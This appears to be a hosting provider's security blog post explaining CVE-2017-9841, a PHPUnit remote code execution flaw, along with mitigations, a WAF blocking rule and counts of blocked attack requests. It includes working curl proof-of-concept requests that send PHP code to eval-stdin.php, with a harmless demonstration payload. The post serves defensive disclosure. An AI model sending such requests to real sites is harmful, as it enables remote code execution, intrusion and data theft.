Recently, a previously-identified CVE (Common Vulnerabilities and Exposures) security breach, CVE-2017-9841, was thrust back into the spotlight, thanks to PrestaShop‘s security alert. Unfortunately, it’s already been exploited ‘in the wild’ for a while now.
What are the risks ?
The CVE-2017-9841 vulnerability lets a malicious user remotely run PHP code on fallible websites, by exploiting a breach in PHPUnit.
This can allow the user to, for example:
- Access sensitive content on the target’s website (files, database credentials, database content…)
- Change files’ content
- Send spam
- Install malware
Below, you’ll find an illustration of how this vulnerability can be exploited:
Install a vulnerable PHPUnit version using composer
For this example, we are assuming that:
- Composer is already installed and present in the PATH environment variable
- The website’s “DocumentRoot” is under ${HOME}/www
- The website’s domain name is demo-cve.ovh
$ composer --no-cache --working-dir=${HOME}/www require phpunit/phpunit 5.6.2
./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 26 installs, 0 updates, 0 removals
- Installing symfony/polyfill-ctype (v1.13.1): Downloading (100%)
- Installing symfony/yaml (v3.4.36): Downloading (100%)
- Installing sebastian/version (2.0.1): Downloading (100%)
- Installing sebastian/resource-operations (1.0.0): Downloading (100%)
- Installing sebastian/recursion-context (1.0.5): Downloading (100%)
- Installing sebastian/object-enumerator (1.0.0): Downloading (100%)
- Installing sebastian/global-state (1.1.1): Downloading (100%)
- Installing sebastian/exporter (1.2.2): Downloading (100%)
- Installing sebastian/environment (2.0.0): Downloading (100%)
- Installing sebastian/diff (1.4.3): Downloading (100%)
- Installing sebastian/comparator (1.2.4): Downloading (100%)
- Installing doctrine/instantiator (1.3.0): Downloading (100%)
- Installing phpunit/php-text-template (1.2.1): Downloading (100%)
- Installing phpunit/phpunit-mock-objects (3.4.4): Downloading (100%)
- Installing phpunit/php-timer (1.0.9): Downloading (100%)
- Installing phpunit/php-file-iterator (1.4.5): Downloading (100%)
- Installing sebastian/code-unit-reverse-lookup (1.0.1): Downloading (100%)
- Installing phpunit/php-token-stream (2.0.2): Downloading (100%)
- Installing phpunit/php-code-coverage (4.0.8): Downloading (100%)
- Installing webmozart/assert (1.6.0): Downloading (100%)
- Installing phpdocumentor/reflection-common (2.0.0): Downloading (100%)
- Installing phpdocumentor/type-resolver (1.0.1): Downloading (100%)
- Installing phpdocumentor/reflection-docblock (4.3.4): Downloading (100%)
- Installing phpspec/prophecy (1.10.1): Downloading (100%)
- Installing myclabs/deep-copy (1.9.4): Downloading (100%)
- Installing phpunit/phpunit (5.6.2): Downloading (100%)
symfony/yaml suggests installing symfony/console (For validating YAML files using the lint command)
sebastian/global-state suggests installing ext-uopz (*)
phpunit/php-code-coverage suggests installing ext-xdebug (^2.5.1)
phpunit/phpunit suggests installing phpunit/php-invoker (~1.1)
phpunit/phpunit suggests installing ext-xdebug (*)
Package phpunit/phpunit-mock-objects is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files
From a remote machine, we’ll exploit the vulnerability and decode a base64 encoded text by PHP.
$ curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841
Keep in mind that the vulnerability can also be exploited with HTTP methods other than POST. For example:
$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841
$ curl -XPUT --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841
$ curl -XDELETE --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841
$ curl -XOPTIONS --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841
$ curl -XPATCH --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841
As you can see, the exploit is pretty simple, but very powerful. It’s easy to imagine the sort of harm that could result.
How do we mitigate the vulnerability?
The breach was originally fixed by PHPUnit when the CVE was first disclosed. However, not all CMS providers (PrestaShop, for example), updated the version included in their installation processes.
Moreover, PHPUnit isn’t designed to be exposed on the critical paths serving web pages. This means there are no use cases where PHPUnit should be reachable by external HTTP requests.
So the fix is pretty simple: one should make PHPUnit unavailable.
If CMS updates aren’t available (or can’t be applied), one can perform any of the following actions :
- Remove the PHPUnit module :
- Via composer (if the install was performed using composer)
$ composer --working-dir=${HOME}/www remove phpunit/phpunit
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 0 installs, 0 updates, 26 removals
- Removing webmozart/assert (1.6.0)
- Removing symfony/yaml (v3.4.36)
- Removing symfony/polyfill-ctype (v1.13.1)
- Removing sebastian/version (2.0.1)
- Removing sebastian/resource-operations (1.0.0)
- Removing sebastian/recursion-context (1.0.5)
- Removing sebastian/object-enumerator (1.0.0)
- Removing sebastian/global-state (1.1.1)
- Removing sebastian/exporter (1.2.2)
- Removing sebastian/environment (2.0.0)
- Removing sebastian/diff (1.4.3)
- Removing sebastian/comparator (1.2.4)
- Removing sebastian/code-unit-reverse-lookup (1.0.1)
- Removing phpunit/phpunit-mock-objects (3.4.4)
- Removing phpunit/phpunit (5.6.2)
- Removing phpunit/php-token-stream (2.0.2)
- Removing phpunit/php-timer (1.0.9)
- Removing phpunit/php-text-template (1.2.1)
- Removing phpunit/php-file-iterator (1.4.5)
- Removing phpunit/php-code-coverage (4.0.8)
- Removing phpspec/prophecy (1.10.1)
- Removing phpdocumentor/type-resolver (1.0.1)
- Removing phpdocumentor/reflection-docblock (4.3.4)
- Removing phpdocumentor/reflection-common (2.0.0)
- Removing myclabs/deep-copy (1.9.4)
- Removing doctrine/instantiator (1.3.0)
Generating autoload files
- Remove the install folder
$ rm -rf ${HOME}/www/vendor/phpunit
- Block HTTP requests to the URL reaching the PHPUnit module
$ cat << EOF > ${HOME}/www/.htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php$ - [F]
</IfModule>
EOF
- Forbid HTTP requests targeting the “vendor” folder
$ cat << EOF > ${HOME}/www/vendor/.htaccess
Require all denied
EOF
How does OVHcloud Web Hosting protect you?
OVHcloud Web Hosting customers are extremely diverse, so the fixes would take too much time to apply on each individual website.
So we decided to apply high-level protection for the OVHcloud Web Hosting platforms.
Below, you’ll find a simple diagram of OVHcloud’s Web Hosting infrastructure:
- IPLBs (OVHcloud load balancers) are the web hosting clusters’ entry point. They carry their IP addresses and take care of their high availability and load balancing. They transfer requests to “WAFs“.
- WAFs (Web Application Firewall) handle all the traffic and can act as a filter. They route the requests to web servers. “WAFs“are the top level servers in the cluster stack. They’re also highly available.
- Web servers are responsible for serving resources and running runtimes (PHP, Node.js…).
In order to protect all our OVHcloud Web Hosting users, we decided to block all requests to /phpunit/src/Util/PHP/eval-stdin.php by WAFs before they reach our web servers.
Technically, our WAF solution is based on Naxsi. So in practice, we added a rule to match and discard all requests with the pattern “/phpunit/src/Util/PHP/eval-stdin.php”, which would cover all HTTP methods. Blocked requests raise an HTTP error 503.
So if we try the exploit on a site hosted on the OVHcloud Web Hosting platforms, we’ll got the following result:
$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
<html>
<head><title>503 Service Temporarily Unavailable</title></head>
<body>
<center><h1>503 Service Temporarily Unavailable</h1></center>
<hr><center>nginx</center>
</body>
</html>
Key numbers
To give you an idea of this attack’s magnitude, we blocked about 4.5 million requests targeting PHPUnit in a single week, with around 2,000 different URL patterns.
- Requests blocked per cluster over the course of one day:
- Requests blocked per cluster over the course of one week:
- Top blocked queries patterns each week:
Some best practices
- If you use a CMS like WordPress, PrestaShop, Drupal, Joomla!, or Ghost, keep its components (i.e. core and plugins) up to date, and enable automatic updates whenever possible.
- Use runtimes (PHP, Node.js…) that are still maintained. PHP supported versions and Node.js supported versions are available through these links.
- Avoid installing ‘development packages’ on production environments if you don’t need them.
- Restrict access to resources that don’t need to be exposed on the internet. Composer’s ‘vendor’ folder is a good example.
- Have the bare minimum access rights for files and folders. Only a few of them need to be writable, for example.